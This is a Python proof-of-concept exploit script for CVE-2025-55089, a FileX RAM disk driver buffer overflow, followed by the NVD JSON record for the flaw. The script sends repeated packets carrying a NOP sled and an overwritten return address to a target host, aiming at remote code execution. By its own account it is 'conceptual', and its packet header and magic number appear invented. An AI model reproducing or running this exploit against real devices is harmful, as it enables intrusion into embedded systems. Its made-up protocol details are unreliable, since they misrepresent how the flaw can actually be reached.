CVE-2025-55089

# CVE-2025-55089 - FileX RAM Disk Driver Buffer Overflow PoC # This is a conceptual PoC demonstrating the exploitation approach # Target: Eclipse ThreadX FileX < 6.4.2 RAM Disk Driver # Vulnerability: Buffer overflow in fx_ram_disk_driver import socket import struct import time TARGET_HOST = "192.168.1.100" # Target device IP TARGET_PORT = 8080 # Target service port (adjust as needed) def craft_malicious_packet(): """ Craft a malicious packet to trigger buffer overflow in FileX RAM disk driver. The packet contains oversized data that overflows the RAM disk buffer. """ # FileX RAM disk driver packet header (conceptual) header = struct.pack('<HH', 0x4658, # FileX magic number 'FX' 0x0001 # Command: write to RAM disk ) # Normal buffer size is typically 512 bytes for RAM disk sector # Overflow by sending data much larger than expected overflow_size = 4096 # 8x the normal buffer size # Shellcode placeholder - in real exploit this would be target-specific # For demonstration: NOP sled + return address overwrite nop_sled = b'\x90' * 256 # Return address pointing back to NOP sled (example address) ret_addr = struct.pack('<I', 0x20001000) payload = nop_sled + ret_addr + b'A' * (overflow_size - 260) packet = header + struct.pack('<I', len(payload)) + payload return packet def exploit(): """ Exploit CVE-2025-55089 by sending crafted packet sequence to trigger buffer overflow in FileX RAM disk driver. """ print(f"[*] Targeting {TARGET_HOST}:{TARGET_PORT}") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((TARGET_HOST, TARGET_PORT)) print("[+] Connection established") # Send sequence of crafted packets to trigger the vulnerability for i in range(3): packet = craft_malicious_packet() sock.send(packet) print(f"[*] Sent malicious packet {i+1}/3 ({len(packet)} bytes)") time.sleep(0.5) print("[+] Exploit sent. Check target for code execution.") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2025-55089", "sourceIdentifier": "[email protected]", "published": "2025-10-16T07:15:33.300", "lastModified": "2026-01-20T21:52:54.100", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In FileX before 6.4.2, the file support module for Eclipse Foundation ThreadX, there was a possible buffer overflow in the FileX RAM disk driver. It could cause a remote execurtion after receiving a crafted sequence of packets"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.2, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:eclipse:threadx_filex:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.4.2", "matchCriteriaId": "56C6244D-48E1-460A-8E70-9C30DBC7D81D"}]}]}], "references": [{"url": "https://github.com/eclipse-threadx/filex/security/advisories/GHSA-467v-6j75-3j7g", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}